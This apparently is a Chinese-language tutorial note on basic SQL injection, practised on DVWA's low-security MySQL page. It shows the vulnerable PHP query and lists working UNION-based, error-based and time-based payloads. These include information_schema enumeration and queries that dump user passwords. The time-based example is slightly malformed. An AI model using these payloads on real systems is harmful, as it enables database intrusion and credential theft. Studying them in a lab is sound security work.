其他
SQL注入-基础
sql注入说白了就是对于数据库的查询没有进行防护过滤,攻击者通过构造sql查询语句,达到查看数据库信息的一种方式。
本次是通过dvwa的sql注入口进行学习
本次注入测试只是针对于MySQL数据库低安全度的查询语句:
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
这一句算是最基础的数据库查询语句,通过user_id=@aa条件来查找dvwa库users表中的列的信息。
由于没有对用户的输入$id进行过滤,就很容易构造出各种各样花里胡哨的查询库信息的语句。
select database();显示当前的库
select user();显示当前的用户
select now();当前时间
use dvwa;进入dvwa库
desc users;查看表users内容
desc dvwa.users;可以从这个库看别的库的表名
基于错误注入
MySQL中查询语句
select * from users;查看users表中所有字段
select * from dvwa.users;查看dvwa库的users表中的字段
select user,passwd from users;从users表查询user和passwd表
条件查询where 条件
select * from mysql.users where user=root; #root为字段
select * from mysql.users where user='root'; #root为值,数字不能是字段,需要引号
select user,passwd from users where user=8888 or 1=1; #user=88不成立,1=1成立,所以整条语句成立
union 联合查询:前后字段数要相同
select * from admin where users union select 15,66,33; #*的字段数目要个后面字段数一致,这就要猜字段数,数字可以随便充当字段。
select user,passwd,first_name from users union select first_name,last_name,3 from dvwa.users limit 5; #limit是显示几行
select * from admin.user;数据库user表名
基本模板是
' or 1=1 union select 1,2,3 from users where users_id =1 --
注意得到是单引号是把前面的语句补齐,双横线是把后面的内容给注释掉。
基于时间的注入
在盲注时候,输入单引号可能不会报错,所以你无法确切是否存在sql注入。这时候就需要一个时间睡眠
1' sleep(5) --
如果查询延续了五秒,说明没有被过滤,存在SQL注入
information_schema
这是数据库中非常特殊的一个库,也是非常牛逼的一个库,只要搞到里面的信息,整个数据库的信息你基本都可以查到了。它相当于数据库字典,查询数据库名和表名。
select table_schema,group_concat(table_name) from information_schema.tables group by table_schema; #查询数据库名和对应的表名
各种构造:
' union select 1,table_name from information_schema.tables -- ' 查询表名
' union select 1,column_name from information_schema.columns where table_name='users' -- 查询列名
' union select user,password from users -- emm
' union select password,concat(first_name, ' ##' ,last_name, ' **' , user) from users -- 查询多个信息
以上是我通过手工注入时所用到的各种语句。
如果嫌麻烦可以用sqlmap等神奇的工具进行查询。
但好多sql查询还是靠手工测试来的准确,所以懂得sql注入的原理还是比较重要的。